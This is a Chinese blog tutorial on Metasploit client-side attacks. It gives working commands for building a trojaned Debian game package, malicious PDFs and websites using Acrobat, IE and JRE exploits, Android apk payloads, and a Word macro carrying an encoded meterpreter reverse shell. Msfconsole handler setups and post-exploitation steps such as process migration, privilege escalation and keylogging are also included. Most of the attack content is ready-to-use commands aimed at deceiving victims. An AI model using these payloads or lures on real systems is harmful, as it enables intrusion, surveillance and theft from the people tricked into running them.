• Metasploit——客户端渗透


    目录

    1.诱骗被害者执行Payload (windows) 

    2.诱骗被害者执行Payload (Linux Deb安装包)

    3. 利用Acrobat Reader漏洞执行payload

    4. 利用Flash漏洞执行payload

    5.利用IE浏览器漏洞执行payload

    6.利用JRE漏洞执行payload

    7.VBScript感染方式


    在无法突破网络边界的情况下转而攻击客户端 

            1.含有漏洞利用代码的WEB站点:利用客户端漏洞

            2.社会工程学:骗取敏感信息,诱使目标执行含有漏洞利用代码的DOC、PDF等Payload

    1. LHOST:反弹连接的目标IP地址
    2. LPORT:反弹连接的目标端口
    3. -a:指定目标系统的硬件架构
    4. --platform:指定目标运行平台
    5. -p:指定payload
    6. -b:去掉坏字符
    7. -e:使用编码模块
    8. -i:编码次数
    9. -f:指定输出文件格式
    10. -o:输出文件名

    1.诱骗被害者执行Payload (windows) 

    只要目标客户端执行制作的exe文件,就可获得目标shell

    2.诱骗被害者执行Payload (Linux Deb安装包)

     

    1. apt-get --download-only install freesweep
    2. #只需要dep文件,加上参数–download-only,下载好的文件保存在/var/cache/qpt/archives
    3. dpkg -x freesweep_0.90-1 i386.deb free
    4. #解压缩文件,到指定目录free
    5. mkdir free/DEBIAN && cd free/DEBIAN
    6. vi control
    7. Package: freesweep
    8. Version: 1.0.1-1
    9. Section: Games and Amusement
    10. Priority: optional
    11. Architecture: i386
    12. Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
    13. Description: a text-based minesweeper
    14. Freesweep is an implementation of the popular minesweeper game, where
    15. one tries to find all the mines without igniting any, based on hints given
    16. by the computer. Unlike most implementations of this game, Freesweep
    17. works in any visual text display - in Linux console, in an xterm, and in
    18. most text-based terminals currently in use.
    19. vi postinst
    20. #!/bin/sh
    21. sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/
    22. freesweep_scores & /usr/games/freesweep &
    23. ......
    24. #将/root/下的free.deb,传给目标
    25. -----------------------------------------------------------------------
    26. msfconsole启动侦听
    27. use exploit/multi/handler
    28. set payload linux/x86/shell/reverse_tcp
    29. set ......
    30. exploit(开启侦听)
    31. 只要目标安装该文件,侦听的端口就会获得反弹的shell

    3. 利用Acrobat Reader漏洞执行payload

     

    (1) 构造PDF文件,诱使目标点击,只要目标用Acrobat Reader执行PDF文件,就可反弹shell

    1. exploit/windows/fileformat/adobe_utilprintf
    2. set payload windows/meterpreter/reverse_tcp
    3. exploit
    4. use exploit/multi/handler(开启侦听)
    5. set payload windwos/meterpreter/reverse_tcp
    6. exploit

    (2)构造恶意网站

     目标访问恶意网站,漏洞利用代码会执行,进一步执行payload,然后反弹shell

    1. #获得meterpreter
    2. >getuid #进程
    3. >migrate 856 #迁移
    4. >use priv #提权
    5. >run post/windows/capture/keylog_recorder #取到shell的进一步攻击,键盘记录(post模块)

    4. 利用Flash漏洞执行payload

    设置反弹shell,设置跟构造恶意网站一样

    5.利用IE浏览器漏洞执行payload

    1. use exploit/windows/browser/ms14_064_ole_code_execution
    2. set payload windows/meterpreter/reverse_tcp
    3. exploit

    6.利用JRE漏洞执行payload

     

    设置payload: set payload java/meterpreter/reverse_tcp

     

     生成这个payload,就要生成一个安卓系统上可用的安装包文件,比如说一个.apk的安装包

    -p android平台安卓,-t raw原始格式

            use exploit/multi/handler

            set payload android/meterpreter/reverse_tcp

    7.VBScript感染方式

    VBScript感染方式

    • 利用宏感染word、excel文档
    • 绕过某些基于文件类型检查的安全机制
    • 生成vbscript脚本msfvenom -a x86 --platform windows -p windows/meterpreter  /reverse_tcp LHOST=x.x.x.x LPORT=4444 - e x86/shikata_ga_nai -f vba-exe

    (会生成两部分代码,第一部分是宏标识型的VBA代码,第二部分是十六进制的payload)

    Office 2007 +(office版本2007以上)

            新建word文档,选择视图一一宏一一创建

            在创建的宏里粘入第一部分的VBA代码

    1. Sub Auto_Open()
    2. Goepu12
    3. End Sub
    4. Sub Workbook_Open()
    5. Auto_Open
    6. End Sub

            word文档正文粘入第二部分Payload的内容

            由Jjiktezjhl到最后

            Msf启动侦听

    • use exploit/multi/handler
    • set payload windows/meterpreter/reverse_tcp

    目标打开office,可获得shell

  • 相关阅读:
    美术馆预约小程序|基于微信小程序的美术馆预约平台设计与实现(源码+数据库+文档)
    rsync+inotify实时同步+双向同步
    转置卷积
    如何运行黑马程序员redis项目黑马点评(hm-dianping)、常见报错解决与部分接口的测试方法
    XS9950 :一路工规AHD模拟RX
    【JetCache】JetCache的配置说明和注解属性说明
    Linux知识结构体系简述
    7个设计师必备的Figma汉化插件,高效设计超简单!
    解决nginx反向代理web service的soap:address location问题
    大学生期末网页大作业:基于HTML+CSS+JavaScript蓝色的汽车设备营销企业网站模板13页面
  • 原文地址:https://blog.csdn.net/m0_62063669/article/details/126270578